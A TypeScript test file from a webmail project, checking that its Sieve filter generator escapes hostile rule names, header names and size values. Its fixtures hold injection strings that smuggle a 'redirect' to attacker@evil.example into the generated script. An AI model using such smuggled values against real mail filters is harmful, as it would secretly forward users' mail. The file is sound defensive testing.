Files
webmail/lib/sieve/__tests__/generator-injection.test.ts
T
Linus Rath c633185cda Merge branch 'main' into feat/stalwart-1.0
# Conflicts:
#	CONTRIBUTING.md
#	LICENSE
#	README.md
#	app/api/calendar-agenda/route.ts
#	app/api/wopi/files/[fileId]/contents/route.ts
#	app/api/wopi/launch/route.ts
#	components/calendar/calendar-app.tsx
#	components/calendar/calendar-day-view.tsx
#	components/calendar/calendar-month-view.tsx
#	components/calendar/calendar-week-view.tsx
#	components/calendar/event-modal.tsx
#	components/contacts/contact-detail.tsx
#	components/email/email-composer.tsx
#	components/email/email-list.tsx
#	components/files/file-browser.tsx
#	components/files/files-app.tsx
#	components/files/folder-tree-sidebar.tsx
#	components/filters/filter-rule-modal.tsx
#	components/mail/mail-app.tsx
#	hooks/use-mailbox-drop.ts
#	integration/run-tests.sh
#	lib/__tests__/calendar-agenda-route.test.ts
#	lib/__tests__/jmap-draft-lifecycle.test.ts
#	lib/__tests__/web-push.test.ts
#	lib/account-state-manager.ts
#	lib/jmap/client-interface.ts
#	lib/jmap/client.ts
#	lib/jmap/types.ts
#	lib/message-list-order.ts
#	lib/sieve/generator.ts
#	lib/sieve/parser.ts
#	lib/telemetry/payload.ts
#	lib/thread-utils.ts
#	lib/unified-mailbox.ts
#	lib/web-push.ts
#	lib/wopi/token.ts
#	locales/ar/common.json
#	locales/ca/common.json
#	locales/cs/common.json
#	locales/da/common.json
#	locales/de/common.json
#	locales/en/common.json
#	locales/es/common.json
#	locales/fa/common.json
#	locales/fr/common.json
#	locales/he/common.json
#	locales/hu/common.json
#	locales/it/common.json
#	locales/ja/common.json
#	locales/ko/common.json
#	locales/lv/common.json
#	locales/mn/common.json
#	locales/nb/common.json
#	locales/nl/common.json
#	locales/pl/common.json
#	locales/pt/common.json
#	locales/ro/common.json
#	locales/ru/common.json
#	locales/sk/common.json
#	locales/tr/common.json
#	locales/uk/common.json
#	locales/zh-TW/common.json
#	locales/zh/common.json
#	scripts/lite/lib.mjs
#	stores/__tests__/calendar-store-synthetic-ids.test.ts
#	stores/__tests__/email-store-shared-folder-keywords.test.ts
#	stores/__tests__/email-store-unified-actions.test.ts
#	stores/__tests__/file-store.test.ts
#	stores/email-store.ts
#	stores/file-store.ts
#	stores/message-list-tabs-store.ts
2026-10-12 08:35:08 +02:00

72 lines
3.0 KiB
TypeScript

import { describe, it, expect } from 'vitest';
import { generateScript } from '../generator';
import { parseScript } from '../parser';
import type { FilterRule } from '@/lib/jmap/sieve-types';
// Rule names and a few condition fields went into the script unescaped:
// a "*/" in a name closed the metadata comment, a line break left the
// "# Rule:" comment, and a header name or size value could close its
// string or number and add commands. Rules arrive from plugins with
// filters:write and from imported filter sets, not only from the editor.
function rule(overrides: Partial<FilterRule> = {}): FilterRule {
return {
id: 'r1',
name: 'Receipts',
enabled: true,
matchType: 'all',
conditions: [{ field: 'subject', comparator: 'contains', value: 'receipt' }],
actions: [{ type: 'mark_read' }],
stopProcessing: false,
...overrides,
};
}
/** The script with every comment removed: what Sieve actually executes. */
function commands(script: string): string {
return script.replace(/\/\*[\s\S]*?\*\//g, '').replace(/^\s*#.*$/gm, '');
}
describe('generateScript with hostile rule data', () => {
it('keeps a "*/" in a rule name inside the metadata comment', () => {
const name = 'Receipts */ redirect "attacker@evil.example"; /* x';
const script = generateScript([rule({ name })]);
expect(commands(script)).not.toContain('attacker@evil.example');
const parsed = parseScript(script);
expect(parsed.rules[0]?.name).toBe(name);
});
it('keeps a multi-line rule name on its comment line', () => {
const script = generateScript([rule({ name: 'Receipts\nredirect "attacker@evil.example";' })]);
expect(commands(script)).not.toContain('attacker@evil.example');
expect(script).toContain('# Rule: Receipts redirect');
});
it('leaves out a rule whose header name could close its string', () => {
const script = generateScript([rule({
conditions: [{ field: 'header', headerName: 'X-A" redirect "attacker@evil.example', comparator: 'contains', value: 'z' }],
})]);
// Not a header name the server accepts: the rule is skipped, so nothing
// of it reaches the commands, and it stays in the metadata to be fixed.
expect(commands(script)).not.toContain('attacker@evil.example');
expect(commands(script)).not.toContain('header :contains');
expect(parseScript(script).rules[0]?.conditions[0]?.headerName).toBe('X-A" redirect "attacker@evil.example');
});
it('refuses a size that is not a number', () => {
const script = generateScript([rule({
conditions: [{ field: 'size', comparator: 'greater_than', value: '1 { redirect "attacker@evil.example"; } if true' }],
})]);
expect(commands(script)).not.toContain('attacker@evil.example');
expect(script).toContain('size :over 0');
});
it('keeps a size with a quantifier', () => {
const script = generateScript([rule({
conditions: [{ field: 'size', comparator: 'greater_than', value: '10M' }],
})]);
expect(script).toContain('size :over 10M');
});
});